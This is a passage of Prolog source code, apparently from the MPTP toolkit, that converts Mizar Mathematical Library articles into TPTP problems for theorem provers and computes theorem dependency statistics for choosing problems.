borsuk_6,\n\t\t bvfunc_1, card_1, card_3, card_4, card_fil, cat_3, cat_5, catalg_1,\n\t\t cfcont_1, chain_1, circcmb2, circcmb3, circcomb, circtrm1, clopban4,\n\t\t closure1, clvect_3, cohsp_1, complsp1, comptrig, comput_1, comseq_1,\n\t\t cqc_lang, cqc_sim1, dickson, domain_1, dtconstr, eqrel_1, facirc_1,\n\t\t fdiff_2, fib_num2, fib_num, filter_1, finseq_1, finseq_2, finseq_5,\n\t\t finset_1, fin_topo, fraenkel, frechet2, funct_1, funct_2, funct_3,\n\t\t funct_5, funct_7, functor0, glib_000, goboard1, goboard2, graph_1,\n\t\t graph_2, graph_5, grcat_1, group_4, group_5, hallmar1, heyting3,\n\t\t hilbert2, index_1, instalg1, int_1, int_2, irrat_1, jct_misc,\n\t\t jgraph_2, jgraph_3, jgraph_4, jordan1a, knaster, kurato_2, lattice3,\n\t\t lattice5, lattice7, lfuzzy_0, lmod_7, lopban_4, margrel1, matrix_1,\n\t\t measure1, measure5, membered, metric_3, midsp_3, modal_1, monoid_0,\n\t\t monoid_1, msafree1, msaterm, mssubfam, msualg_6, msualg_8, msualg_9,\n\t\t multop_1, nat_1, nat_2, nattra_1, necklace, orders_1, orders_3,\n\t\t ordinal1, ordinal2, ordinal4, partfun1, partfun2, pboole, pcomps_1,\n\t\t pcomps_2, pencil_2, pnproc_1, polynom2, polynom3, pre_circ, prob_4,\n\t\t prvect_1, pscomp_1, pua2mss1, qc_lang1, qc_lang3, qc_lang4, quantal1,\n\t\t rcomp_1, real_1, recdef_1, recdef_2, relat_1, relset_1, rewrite1,\n\t\t rlvect_4, scheme1, schems_1, scmfsa6a, scmfsa_7, scmfsa9a, scmfsa_9,\n\t\t scmpds_4, scmpds_8, scpinvar, scpisort, seq_1, seqfunc, setwiseo,\n\t\t sgraph1, sin_cos, sppol_1, square_1, stirl2_1, sublemma, subset_1,\n\t\t substut1, substut2, supinf_1, tarski, tex_2, toler_1, topgen_3,\n\t\t topgen_4, topgen_5, topreal1, toprns_1, transgeo, trees_1, trees_2,\n\t\t trees_4, trees_9, triang_1, uniroots, uproots, valuat_1, waybel_0,\n\t\t waybel10, waybel11, waybel17, waybel19, waybel24, waybel_2, waybel30,\n\t\t waybel31, waybel_4, waybel_6, wellfnd1, wellord2, wellset1, xboole_0,\n\t\t yellow_0, yellow15, yellow16, yellow17, yellow18, yellow20, yellow21,\n\t\t yellow_3, yellow_9, zf_lang1, zf_lang, zf_model, zfrefle1, zf_refle\n\t\t]).\n\n\nnonnumeric(Article):-\n\ttheory(Article,T),\n\tmember(requirements(Req),T),\n\tsubset(Req,[hidden, boole, subset]).\n\nall_articles(List):-\n\tmml_dir(Dir),\n\tsformat(AList, '~s../mml.lar', [Dir]),\n\topen(AList,read,S),\n\tread_lines(S,List),\n\tclose(S).\n\nread_lines(S,Res):-\n\tread_line_to_codes(S,C),\n\t(C= end_of_file,Res=[];\n\t    read_lines(S,Res1),\n\t    string_to_atom(C,C1),\n\t    Res = [C1|Res1]).\n\nread_file_lines(File, List):-\n\topen(File,read,S),\n\tread_lines(S,List),\n\tclose(S),!.\n\n\n%% Top level predicate for creating problems for\n%% first 100 MML articles.\nmk_first100:-\n\tdeclare_mptp_predicates,load_mml,first100(L),!,\n\tmember(A,L),mk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[theorem]],[opt_REM_SCH_CONSTS]),fail.\n\n%% Create problems for nonumeric articles (about 300)\nmk_nonnumeric:-\n\tdeclare_mptp_predicates,load_mml,all_articles(L),!,\n\tmember(A,L),nonnumeric(A),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[theorem]],[opt_REM_SCH_CONSTS]),fail.\n\n%% Create scheme problems for nonumeric articles \nmk_nonnumeric_schemes:-\n\tdeclare_mptp_predicates,load_mml,scheme_articles(L),!,\n\tmember(A,L),nonnumeric(A),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[scheme]],[opt_REM_SCH_CONSTS,opt_MK_TPTP_INF]),fail.\n\n%% Create cluster problems for nonumeric articles \nmk_nonnumeric_clusters:-\n\tdeclare_mptp_predicates,load_mml,all_articles(L),!,\n\tmember(A,L),nonnumeric(A),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[cluster]],[opt_REM_SCH_CONSTS,opt_MK_TPTP_INF]),fail.\n\n\n%% for creating by-explanations, use this:\n%% L=[xboole_0, boole, xboole_1, enumset1, zfmisc_1, subset_1, subset, relat_1, funct_1, grfunc_1, relat_2, ordinal1, wellord1],\n%% member(A,L),mk_article_problems(A,[[mizar_by],[theorem, top_level_lemma, sublemma]],\n%% [opt_REM_SCH_CONSTS,opt_MK_TPTP_INF,opt_LINE_COL_NMS]),fail.\n\n%% print names of theorem problems in their order into SpecFile\n%% now nonnumeric only;\n%% TODO: check why t13_aff_1 was not created by SNoW\nmk_ordered_th_problem_list(SpecFile):-\n\tdeclare_mptp_predicates,\n\tload_theorems,\n\tload_environs, % needed for nonnumeric/1\n\tinstall_index,\n\tall_articles(Articles),\n\ttell(SpecFile),\n\t(\n\t  member(A,Articles),\n\t  nonnumeric(A),\n\t  fof(Name,theorem,Fla,file(A,Name),_),\n\t  Fla \\= $true,\n\t  format('~w/~w__~w~n',[A,A,Name]),\n\t  fail\n\t;\n\t  told\n\t).\n\n%% Create problems from the recommendations given by SNoW\n%% in SpecFile (it contains snow_spec(Conjecture, Refs) clauses.\n%% Now limited to nonnumeric articles.\nmk_nonnumeric_snow(SpecFile):-\n\tabolish(snow_spec/2), consult(SpecFile),\n\tdeclare_mptp_predicates,load_mml,all_articles(L),!,\n\tmember(A,L),nonnumeric(A),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[theorem],snow_spec],[opt_REM_SCH_CONSTS]),fail.\n\n%% Create (sub)problems whose names are in the list - should have option handling.\n%% Names should have the form xboole_1__t40_xboole_1 (i.e.: Article__Problem)\nmk_sub_problems_from_list(List):-\n\tdeclare_mptp_predicates,load_mml,\n\tfindall([Article, Problem],\n\t\t( member(Name,List), concat_atom([Article,Problem], '__', Name)),\n\t\tPairs), !,\n\tmaplist(nth1(1),Pairs,Articles),\n\tsort(Articles, L),!,\n\tmember(A,L),\n\tfindall(P, member([A,P], Pairs), AList),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],\n\t\t\t       [theorem, top_level_lemma, sublemma],\n\t\t\t       subproblem_list(AList)],\n\t\t\t    [opt_REM_SCH_CONSTS,opt_MK_TPTP_INF,opt_LEVEL_REF_INFO]),fail.\n\n%% Create problems whose names are in the list.\n%% Note that the fraenkels will not be uniformly abstracted when calling this\n%% multiple times for different articles - use mk_problems_from_articlelist for that.\n%% Names should have the form xboole_1__t40_xboole_1 (i.e.: Article__Problem),\n%% or list of article positions of the form card_1__pos(980,19)\nmk_problems_from_list(List,AddOptions):-\n\tdeclare_mptp_predicates,load_mml,\n\tfindall([Article, Problem],\n\t\t( member(Name,List), concat_atom([Article,Problem], '__', Name)),\n\t\tPairs), !,\n\tmaplist(nth1(1),Pairs,Articles),\n\tsort(Articles, L),!,\n\tmember(A,L),\n\tfindall(P,\n\t\t(\n\t\t member([A,P0], Pairs),\n\t\t (\n\t\t  atom_concat(pos, _, P0) ->\n\t\t  term_to_atom(P,P0)\n\t\t ;\n\t\t  P = P0\n\t\t )\n\t\t),\n\t\tAList),\n\tunion([opt_REM_SCH_CONSTS,opt_MK_TPTP_INF], AddOptions, Options),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],\n\t\t\t       [theorem, top_level_lemma],\n\t\t\t       problem_list(AList)], Options),fail.\n\n%% ##TEST: :- mk_problems_from_file('mptp_chall_problems').\nmk_problems_from_file(File):-\n\topen(File,read,S),\n\tread_lines(S,List),\n\tclose(S),!,\n\tmk_problems_from_list(List).\n\n%% ##TEST: :- mk_problems_from_file('mptp_chall_problems',[opt_PROB_PRINT_FUNC(print_refs_as_one_fla)]).\n%% ##TEST: :- mk_problems_from_file('rootsnonnum246',[opt_TPTP_SHORT]).\n%% ##TEST: :- mk_problems_from_file('rootsnonnum246',[opt_TPTP_SHORT,opt_PROB_PRINT_FUNC(print_refs_as_tptp_includes)]).\n%% ##TEST: :- read_file_lines('00includes_with_problem_articles',AllIncludes),mk_problems_from_file('rootsnonnum246',[opt_TPTP_SHORT,opt_PROB_PRINT_FUNC(print_refs_as_tptp_includes),opt_PP_SMALLER_INCLUDES(AllIncludes)]).\n%% ##TEST: :- all_articles(AllIncludes),mk_problems_from_file('rootsnonnum246',[opt_TPTP_SHORT,opt_PROB_PRINT_FUNC(print_refs_as_tptp_includes),opt_PP_SMALLER_INCLUDES([hidden,tarski|AllIncludes])]).\nmk_problems_from_file(File, AddOptions):-\n\topen(File,read,S),\n\tread_lines(S,List),\n\tclose(S),!,\n\tmk_problems_from_list(List, AddOptions).\n\n\n%% Use this for generating all problems for a set of articles with the\n%% .allowed_local info for creating problems containing all previous\n%% references.\n\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,all_articles(AA),checklist(abstract_fraenkels_if, AA),!,member(A,[tarski,xboole_0,xcmplx_0]),time(mk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[theorem, top_level_lemma, sublemma] ],[opt_LOAD_MIZ_ERRORS,opt_ARTICLE_AS_TPTP_AXS,opt_REM_SCH_CONSTS,opt_TPTP_SHORT,opt_LINE_COL_NMS,opt_PRINT_PROB_PROGRESS,opt_ALLOWED_REF_INFO,opt_PROVED_BY_INFO])),fail.\n\n%% These two can be used for generating normal and chainy problems for\n%% all MML. The chainy version gives uses the whole theory of the\n%% current article. A super-chainy version can be done by replacing\n%% article's includes with the preceding articles in mml.lar .\n\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,all_articles(AA),checklist(abstract_fraenkels_if, AA),mml_dir(Dir), sformat(MmlLar, '~s../mml.lar', [Dir]), mk_problems_from_articlelist(MmlLar,[[mizar_by,mizar_from,mizar_proof], [theorem, top_level_lemma]], [opt_TPTP_SHORT,opt_PROB_PRINT_FUNC(print_refs_as_tptp_includes)]).\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,all_articles(AA),checklist(abstract_fraenkels_if, AA),mml_dir(Dir), sformat(MmlLar, '~s../mml.lar', [Dir]), mk_problems_from_articlelist(MmlLar,[[mizar_by,mizar_from,mizar_proof], [theorem, top_level_lemma]], [opt_TPTP_SHORT]).\nmk_problems_from_articlelist(File, Kinds, AddOptions):-\n        open(File,read,S),\n        read_lines(S,AList),\n        close(S),!,\n\tunion([opt_REM_SCH_CONSTS,opt_MK_TPTP_INF], AddOptions, Options),!,\n\tmember(A,AList),\n\tmk_article_problems(A,Kinds, Options),\n\tfail.\n\n\n%% this takes time, better do the simple versions for all\n%% ##TEST: :- test_refs_first100.\ntest_refs_first100:-\n\tdeclare_mptp_predicates,load_mml,first100(L),!,\n\tmember(A,L),test_refs(A),fail.\n\n%% ##TEST: :- test_refs_simple_first100.\ntest_refs_simple_first100:-\n\tdeclare_mptp_predicates,first100(L),!,\n\tmember(A,L),test_refs_simple(A),fail.\n\n%% ##TEST: :- test_refs_simple_all.\ntest_refs_simple_all:-\n\tdeclare_mptp_predicates,all_articles(L),!,\n\tmember(A,L),test_refs_simple(A),fail.\n\n%% print all theorems in standard TPTP, so that it can be cnf-ed by E\nprint_thms_for_cnf:-\n\tall_articles(L),\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,\n\t(member(A2,L), abstract_fraenkels(A2, [], _, _),fail; true), !,\n\tinstall_index,\n\ttell('TheoremsInTPTP'),!,\n\t(\n\t  member(A1,L),\n\t  fof_file(A1,I),\n\t  clause(fof(A,theorem,B,C,[mptp_info(_,_,theorem,_,_)|_]),_,I),\n\t  sort_transform_top(B,B1),\n\t  numbervars(B1,0,_),\n\t  print(fof(A,axiom,B1,C)),write('.'),nl,fail;\n\t  told\n\t).\n\n%% print defs and thms, with only top-level references\nprint_thms_and_defs_for_learning:-\n\tdeclare_mptp_predicates,\n\tload_theorems,\n\tinstall_index,\n\ttell('Proof_learning'),\n\t%% print definitions - they have no proof\n\t((fof(Name,definition,A1,A2,A3),\n\t  numbervars(A1,0,_),\n\t  print(fof(Name,definition,A1,A2,A3)),\n\t  write('.'),nl,\n\t  fail);\n\t    true),\n\t%% print theorems, with only thm and def references\n\t((fof(Name,theorem,A1,A2,[A3,inference(A4,A5,Refs)]),\n\t  findall(Ref,(member(Ref,Refs),atom_chars(Ref,[C|_]),\n\t\t       member(C,[t,d])), Refs1),\n\t  numbervars(A1,0,_),\n\t  print(fof(Name,theorem,A1,A2,[A3,inference(A4,A5,Refs1)])),\n\t  write('.'),nl,\n\t  fail);\n\t    told).\n\n%% number all available fofs in their order in the prolog database\n%% storing the numbering in fof_pcl_id (yes, this is used for the pcl protocol)\nnumber_fofs:-\n\tabolish(fof_pcl_id/2),\n\tdynamic(fof_pcl_id/2),\n\tfindall(NRef1,fof(NRef1,_,_,_,_),Refs),!,\n\trepeat,\n\t(\n\t  nth1(N,Refs,Ref),\n\t  assert(fof_pcl_id(Ref, N)),\n\t  fail\n\t;\n\t  true\n\t).\n\n\n%% mptp2tptp(+InFile,+Options,+OutFile)\n%%\n%% Read InFile with theorems in MPTP syntax, translate it to\n%% TPTP syntax in OutFile.\n%% The files can be given both as atoms and strings.\n%% This outputs only the required flas, no background is added.\n%% Options is normally just [], unless local constants are present (e.g. in top-level lemmas).\n%% In that case use opt_NO_FRAENKEL_CONST_GEN, otherwise abstract_fraenkels\n%% breaks.\n%% Option opt_PRUNE_TREE_FOR_FILE(+File) causes to include all fofs coming from File,\n%% and only those other fofs which are needed for the inference parents of those fofs.\n%% This can be used to make the OutFile's size significantly smaller for apps like AgInt.\n%% Option opt_PCL prints the inference infos in the PCL format, and therefore\n%% also numbers the formulas, assuming that in the input file, parents come before children.\n%%\n%% ##TEST: :- mptp2tptp(\"matrix11.agin\",[opt_PCL,opt_PRUNE_TREE_FOR_FILE(matrix11),opt_NO_FRAENKEL_CONST_GEN],\"matrix11.agin13\").\n%% ##TEST: :- mptp2tptp(\"matrix11.agin\",[opt_PRUNE_TREE_FOR_FILE(matrix11),opt_NO_FRAENKEL_CONST_GEN],\"matrix11.agin13\").\nmptp2tptp(InFile,Options,OutFile):-\n\t(atom(InFile) ->\n\t    InFile1 = InFile\n\t;\n\t    string_to_atom(InFile, InFile1)\n\t),\n\t(atom(OutFile) ->\n\t    OutFile1 = OutFile\n\t;\n\t    string_to_atom(OutFile, OutFile1)\n\t),\n\tdeclare_mptp_predicates,\n\tconsult(InFile1),\n\t(member(opt_PCL, Options) ->\n\t    number_fofs\n\t;\n\t    true\n\t),\n\tinstall_index,\n\t%% find all the article names for our flas -\n\t%% abstract_fraenkels/4 requires it now\n\tfindall(AName,fof_file(AName,_),ANames1),\n\tsort(ANames1, ArticleNames),\n\tfindall(FraenkelName,\n\t\t(\n\t\t  member(Article, ArticleNames),\n\t\t  once(abstract_fraenkels(Article, Options, _, ArticleFrNames)),\n\t\t  member(FraenkelName, ArticleFrNames)\n\t\t),\n\t\tAddedFraenkelNames), !,\n\tinstall_index,!,\n\n\tRefCodes = [t,d,s,l],\n\t(member(opt_PRUNE_TREE_FOR_FILE(PFile), Options) ->\n\t    findall(ARef2,\n\t\t    (\n\t\t      fof_file(PFile,AId),\n\t\t      clause(fof(ARef1,_,_,file(_,_),AInfo),_,AId),\n\t\t      AInfo = [mptp_info(_,_,_,_,_), inference(_,_,ARefs0) |_],\n\t\t      member(ARef0,[ARef1|ARefs0]),\n\t\t      atom_chars(ARef0,[C1|Cs1]),\n\t\t      member(C1,RefCodes),\n\t\t      fix_sch_ref(ARef0,[C1|Cs1],ARef2)\n\t\t    ),\n\t\t    PrintedNames1),\n\t    sort(PrintedNames1, PrintedNames)\n\t;\n\t    PrintedNames = []  %% just a suitable value\n\t),\n\n\ttell(OutFile1),\n\t(\n\t  fof(Name,Role,Fla,file(A,Sec),Info),\n\t  (\n\t    PrintedNames \\= [],\n\t    member(Name,PrintedNames)\n\t  ;\n\t    PrintedNames = []\n\t  ),\n\t  not(member(Name, AddedFraenkelNames)),\n\t  (Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs) | _] ->\n\t      findall(Ref,(member(Ref0,Refs),atom_chars(Ref0,[C|Cs]),\n\t\t\t   member(C,RefCodes),fix_sch_ref(Ref0,[C|Cs],Ref)), Refs2),\n\t      sort_transform_top(Fla,Fla1),\n\t      numbervars(Fla1,0,_),\n\t      %% ###TODO: remove this when Geoff allows inferences without parents\n\t      (Refs2 = [] ->\n\t\t  (member(opt_PCL, Options) ->\n\t\t      fof_pcl_id(Name,NId),\n\t\t      write(NId), write(' : : '),\n\t\t      print(Fla1), write(' : '),\n\t\t      string_to_atom(A1,A),\n\t\t      print(initial(A1,Name))\n\t\t  ;\n\t\t      print(fof(Name,theorem,Fla1,file(A,Sec))),\n\t\t      write('.')\n\t\t  )\n\t      ;\n\t\t  (member(opt_PCL, Options) ->\n\t\t      fof_pcl_id(Name,NId),\n\t\t      write(NId), write(' : : '),\n\t\t      print(Fla1), write(' : '),\n\t\t      maplist(fof_pcl_id,Refs2,Ids2),\n\t\t      Info1 =.. [foreign_gen|Ids2],\n\t\t      print(Info1), write(' : '), print(Name)\n\n\t\t  ;\n\t\t      Info1 = inference(mizar_proof,[status(thm)],Refs2),\n\t\t      print(fof(Name,theorem,Fla1,Info1,[file(A,Sec)])),\n\t\t      write('.')\n\t\t  )\n\t      )\n\t  ;\n\t      sort_transform_top(Fla,Fla1),\n\t      numbervars(Fla1,0,_),\n\t      (member(opt_PCL, Options) ->\n\t\t  fof_pcl_id(Name,NId),\n\t\t  write(NId), write(' : : '),\n\t\t  print(Fla1), write(' : '),\n\t\t  string_to_atom(A1,A),\n\t\t  print(initial(A1,Name))\n\t      ;\n\t\t  print(fof(Name,Role,Fla1,file(A,Sec))),\n\t\t  write('.')\n\t      )\n\t  ),\n\t  nl,\n\t  fail\n\t;\n\t  told\n\t).\n\n%% thms2tptp(+OutDirectory)\n%%\n%% translate all mml theorems and top-level lemmas to TPTP,\n%% each into file Article.(lem|the|sch)3 in OutDirectory\n%% ##TEST: :- thms2tptp('/home/urban/mptp0.2/00tmp3/').\nthms2tptp(OutDirectory):-\n\tmml_dir_atom(MMLDir),\n\tall_articles(List),\n\tmember(A,[tarski|List]),\n\tmember([Kind|Options],[[lem, opt_NO_FRAENKEL_CONST_GEN],[the],[sch]]),\n\tconcat_atom([MMLDir, A, '.', Kind, '2'], InFile),\n\tconcat_atom([OutDirectory, A, '.', Kind, '3'], OutFile),\n\tonce(mptp2tptp(InFile,Options,OutFile)),\n\tfail.\n\n%% mml2tptp(+OutDirectory)\n%%\n%% translate all of mml (theorems, top-level lemmas, constructor info and clusters)\n%% each into file Article.(lem|the|dco|dcl)3 in OutDirectory\n%% ##TEST: :- mml2tptp('/home/urban/mptp0.2/00tmp4/').\nmml2tptp(OutDirectory):-\n\tmml_dir_atom(MMLDir),\n\tall_articles(List),\n\tmember(A,[hidden,tarski|List]),\n\tmember([Kind|Options],[[lem, opt_NO_FRAENKEL_CONST_GEN],[the],[dco],[dcl]]),\n\tconcat_atom([MMLDir, A, '.', Kind, '2'], InFile),\n\texists_file(InFile),\n\tconcat_atom([OutDirectory, A, '.', Kind, '3'], OutFile),\n\tonce(mptp2tptp(InFile,Options,OutFile)),\n\tfail.\n\n%% article2tptp_include(+OutDirectory, +A)\n%%\n%% Generate include file ( .ax) in TPTP format from MML article A,\n%% and place it into OutDirectory.\narticle2tptp_include(OutDirectory,A):-\n\tconcat_atom([OutDirectory, A, '.', ax], OutFile),\n\ttell(OutFile),\n\trepeat,\n\t(\n\t  fof_file(A,AId),\n\t  clause(fof(Name,_Role,Fla,file(A,_Sec),_Info),_,AId),\n\t  sort_transform_top(Fla,Fla1),\n\t  numbervars(Fla1,0,_),\n\t  print(fof(Name,axiom,Fla1)),\n\t  write('.'),nl,\n\t  fail\n\t;\n\t  told\n\t).\n\n%% Generate include files in TPTP format from each MML article.\n%% Fraenkels are generated, but scheme instances and special\n%% on-demand requirement formulas are not included (they rather\n%% belong to particular problems). Lemmas are not included.\n%% ##TEST: :- mml2tptp_includes('00tmp6/').\nmml2tptp_includes(OutDirectory):-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,\n\tall_articles(ArticleNames),\n\tchecklist(abstract_fraenkels_if, ArticleNames),\n\tinstall_index,\n\tchecklist(article2tptp_include(OutDirectory), [hidden, tarski | ArticleNames]).\n\n%% For all articles create the inference dag of its top-level theorems\n%% (and lemmas and schemes), including needed stuff from other articles\n%% as axioms. No background is added, each article is written to\n%% problems/Article.top, and is suitable for running AGInTRater on it.\n%% ##TEST: :- create_top_infers.\ncreate_top_infers:-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tload_lemmas,\n\tall_articles(ArticleNames),\n\tinstall_index,\n\tfindall(FraenkelName,\n\t\t(\n\t\t  member(Article, ArticleNames),\n\t\t  once(abstract_fraenkels(Article, [opt_NO_FRAENKEL_CONST_GEN], _, ArticleFrNames)),\n\t\t  member(FraenkelName, ArticleFrNames)\n\t\t),\n\t\t_AddedFraenkelNames), !,\n\tinstall_index,!,\n\n\tRefCodes = [t,d,s,l],\n\tmember(PFile, ArticleNames),\n\tfindall(ARef2,\n\t\t(\n\t\t  fof_file(PFile,AId),\n\t\t  clause(fof(ARef1,_,_,file(_,_),AInfo),_,AId),\n\t\t  AInfo = [mptp_info(_,_,_,_,_), inference(_,_,ARefs0) |_],\n\t\t  member(ARef0,[ARef1|ARefs0]),\n\t\t  atom_chars(ARef0,[C1|Cs1]),\n\t\t  member(C1,RefCodes),\n\t\t  fix_sch_ref(ARef0,[C1|Cs1],ARef2)\n\t\t),\n\t\tPrintedNames1),\n\tsort(PrintedNames1, PrintedNames),\n\tconcat_atom([problems,'/',PFile,'.top'], OutFile1),\n\ttell(OutFile1),\n\t(\n\n\t  member(Name,PrintedNames),\n\t  get_ref_fof(Name, fof(Name,Role,Fla,file(A,Name),Info)),\n\t  ((A = PFile, Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs) | _]) ->\n\t      findall(Ref,(member(Ref0,Refs),atom_chars(Ref0,[C|Cs]),\n\t\t\t   member(C,RefCodes),fix_sch_ref(Ref0,[C|Cs],Ref)), Refs2),\n\t      sort_transform_top(Fla,Fla1),\n\t      numbervars(Fla1,0,_),\n\t      %% ###TODO: remove this when Geoff allows inferences without parents\n\t      (Refs2 = [] ->\t\t  \n\t\t  print(fof(Name,theorem,Fla1,file(A,Name))),\n\t\t  write('.')\t\t  \n\t      ;\n\t\t  Info1 = inference(mizar_proof,[status(thm)],Refs2),\n\t\t  print(fof(Name,theorem,Fla1,Info1,[file(A,Name)])),\n\t\t  write('.')\t\t  \n\t      )\n\t  ;\n\t      sort_transform_top(Fla,Fla1),\n\t      numbervars(Fla1,0,_),\t      \n\t      print(fof(Name,Role,Fla1,file(A,Name))),\n\t      write('.')\t      \n\t  ),\n\t  nl,\n\t  fail\n\t;\n\t  told\n\t),\n\tfail.\n\n\n\n%% reads ProvedFile and prints comparison of the proofs there\n%% with the MML proofs; sorted by the difference between the\n%% numbers of explicit references\ncompare_proved_by_refsnr(ProvedFile):-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,\n\tconsult(ProvedFile),\n\tfindall([Diff,R1,Refs0,Refs1,BG],\n\t\t(\n\t\t  proved(R1,_F,Refs0,BG,_I),\n\t\t  get_ref_fof(R1,fof(R1,_,_,_,[_,inference(_,_,I3)|_])),\n\t\t  findall(Ref, (member(Ref,I3), atom_chars(Ref,[C|_]),\n\t\t\t\t   member(C,[t,d])),\n\t\t\t  Refs11),\n\t\t  sort(Refs11,Refs1),\n\t\t  length(Refs0,N1), length(Refs1,N2),\n\t\t  Diff is N1 - N2),\n\t\tTuples),\n\tsort(Tuples,T1),\n\tchecklist(print_nl,T1).\n\n%% fix_sch_ref(+SchemeRefIn,+SchChars,-SchemeRefOut)\n%%\n%% If SchChars contain '__', then they are scheme instance like s1_ordinal1__e8_6__wellord2.\n%% In that case return only the part before '__', i.e. s1_ordinal1.\n%% Otherwise return SchemeRefIn.\nfix_sch_ref(Ref0,[s|Cs],Ref1):- !,\n\t%% find the part before \"__\"\n\t(append(S1,['_','_'|_],[s|Cs]) ->\n\t    atom_chars(Ref1,S1);\n\t    Ref1 = Ref0\n\t).\nfix_sch_ref(Ref0,_,Ref0).\n\n%% get_rec_uses - not for defs and clusters yet, just theorems, schemes and top-level lemmas\nget_rec_uses(Name,_,NN,LRec1,LRecNN1,CL1,CLNN1,Last1,LastNN1,CLast1,CLastNN1,AllRecTmpS1,AllRecTmpNNS1):-\n\tatom(Name),\n\tth_rec_uses(Name,NN,LRec1,LRecNN1,CL1,CLNN1,Last1,LastNN1,CLast1,CLastNN1,AllRecTmpS1,AllRecTmpNNS1),!.\n\nget_rec_uses(Name,RefCodes,NN,LRec1,LRecNN1,CL1,CLNN1,Last1,LastNN1,CLast1,CLastNN1,AllRecTmpS1,AllRecTmpNNS1):-\n\tfof(Name,Role,_,file(A,Name),Info),!,\n\t(nonnumeric(A) -> NN = t; NN = f),\n\tInfo = [mptp_info(_,_,_,_,_), inference(_,_,Refs) |_],\n\tonce((\n\t  findall(Ref,(member(Ref0,Refs),atom_chars(Ref0,[C|Cs]),\n\t\t       member(C,RefCodes),fix_sch_ref(Ref0,[C|Cs],Ref)), Refs1),\n\n\t  %% find recursive dependencies\n\t  findall(Reff1,\n\t\t  (member(Ref1,Refs1),get_rec_uses(Ref1,RefCodes,_,_,_,_,_,_,_,_,_,RefsAll1,_),\n\t\t      member(Reff1,[Ref1|RefsAll1])),\n\t\t  AllRecTmp1),\n\t  sort(AllRecTmp1,AllRecTmpS1),\n\n\t  %% find largest direct dependence (or f is none)\n\t  findall([L_Dref1,DRef1],(member(DRef1,Refs1),get_rec_uses(DRef1,RefCodes,_,L_Dref1,_,_,_,_,_,_,_,_,_)),Lengths1),\n\t  sort(Lengths1,SLengths1),\n\t  (last(SLengths1,Last1) -> true; Last1 = f),\n\n\t  %% find longest chain dependence (or f is none), update my chain length\n\t  findall([LC_Dref1,C_DRef1],(member(C_DRef1,Refs1),get_rec_uses(C_DRef1,RefCodes,_,_,_,LC_Dref1,_,_,_,_,_,_,_)),C_Lengths1),\n\t  sort(C_Lengths1,SCLengths1),\n\t  (last(SCLengths1,CLast1) -> (CLast1 = [CLL1,_], CL1 is CLL1 + 1); (CLast1 = f, CL1 = 1)),\n\n\t  %% find recursive nonnumeric dependencies\n\t  findall(ReffNN1,\n\t\t  (member(RefNN1,Refs1),get_rec_uses(RefNN1,RefCodes,t,_,_,_,_,_,_,_,_,_,RefsAllNN1),\n\t\t      member(ReffNN1,[RefNN1|RefsAllNN1])),\n\t\t  AllRecTmpNN1),\n\t  sort(AllRecTmpNN1,AllRecTmpNNS1),\n\n\t  %% find largest direct nonnumeric dependence (or f is none)\n\t  findall([L_DRefNN1,DRefNN1],(member(DRefNN1,Refs1),get_rec_uses(DRefNN1,RefCodes,_,_,L_DRefNN1,_,_,_,_,_,_,_,_)),LengthsNN1),\n\t  sort(LengthsNN1,SLengthsNN1),\n\t  (last(SLengthsNN1,LastNN1) -> true; LastNN1 = f),\n\n\t  %% find longest nonnumeric chain dependence (or f is none), update my nonnumeric chain length\n\t  findall([LC_DRefNN1,C_DRefNN1],(member(C_DRefNN1,Refs1),get_rec_uses(C_DRefNN1,RefCodes,t,_,_,_,LC_DRefNN1,_,_,_,_,_,_)),C_LengthsNN1),\n\t  sort(C_LengthsNN1,SCLengthsNN1),\n\t  (last(SCLengthsNN1,CLastNN1) -> CLastNN1 = [CLLNNTmp1,_];  (CLastNN1 = f, CLLNNTmp1 = 0)),\n\t  (NN = t -> CLNN1 is CLLNNTmp1 + 1; CLNN1 = CLLNNTmp1),\n\n\t\ttrue,\n\t  maplist(length,[AllRecTmpS1,AllRecTmpNNS1],[LRec1,LRecNN1]),\n\t  assert(th_rec_uses(Name,NN,LRec1,LRecNN1,CL1,CLNN1,Last1,LastNN1,CLast1,CLastNN1,AllRecTmpS1,AllRecTmpNNS1))\n\t     )), !.\n\n\n\n\n%% This is used for selecting problems for MPTP challenege:\n%% find recursive dependencies of theorems, theorems chains, and all also\n%% nonnumerical; print it on-the-fly, because for all articles it now crashes\n%% on jgraph_6; results are assrted into th_rec_uses/12\n%% th_rec_uses(Theorem,Nonnumerical,LengthAllRec,LengthAllRecNN,AllChainLength,\n%%             AllNNChainLength,LargestParent,LargestParentNN,LongestParent,\n%%             LongestParentNN,AllRecUses,AllRecNonNumUses)\ndo_th_stats(File):-\n\tdo_th_stats(File,[]),!.\n\ndo_th_stats(File,Options):-\n\tdeclare_mptp_predicates,\n\tload_theorems,\n\tload_environs,\n\t(member(o_ths_TL_LEMMAS, Options) -> (RefCodes1= [l], load_lemmas); RefCodes1=[]),\n\t(member(o_ths_SCHEMES, Options) -> (RefCodes=[t,s|RefCodes1], load_schemes); RefCodes=[t|RefCodes1]),\n\tinstall_index,\n\tall_articles(Articles),\n%\tArticles = [xboole_0,boole,xboole_1,enumset1],\n%\tArticles = [jgraph_6],\n%\tfirst100(Articles),\n\tabolish(th_rec_uses/12),\n\tabolish(th_rec_usedby/12),\n\tdynamic(th_rec_uses/12),\n\tdynamic(th_rec_usedby/12),!,\n%\ttell(TrainFile),\n\t%% this no longer assumes mml order of Articles\n\t(\n\t  member(A,[tarski|Articles]),\t\twrite(A),nl,\n%\t  (nonnumeric(A) -> NN = t; NN = f),\n\t  fof(Name,theorem,_,file(A,Name),Info),\n\t  